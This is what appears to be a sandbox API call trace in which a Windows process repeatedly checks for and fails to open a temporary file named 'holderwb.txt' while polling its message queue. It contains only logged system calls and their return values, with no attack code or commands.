	[0099.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.255] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.255] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.256] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.256] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.256] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.256] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.256] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.256] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.257] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.257] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.257] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.257] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.257] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.257] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.258] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.258] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.258] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.258] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.258] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.258] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.259] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.259] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.259] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.259] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.260] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.260] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.261] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.261] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.261] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.261] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.261] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.261] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.261] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.262] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.262] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.262] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.262] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.262] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.262] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.262] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.263] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.263] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.263] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.263] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.263] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.263] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.263] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.264] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.264] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.264] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.264] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.265] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.265] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.265] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.266] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.266] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.266] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.266] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.266] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.267] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.267] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.267] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.267] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.267] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.267] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.268] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.268] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.268] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.268] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
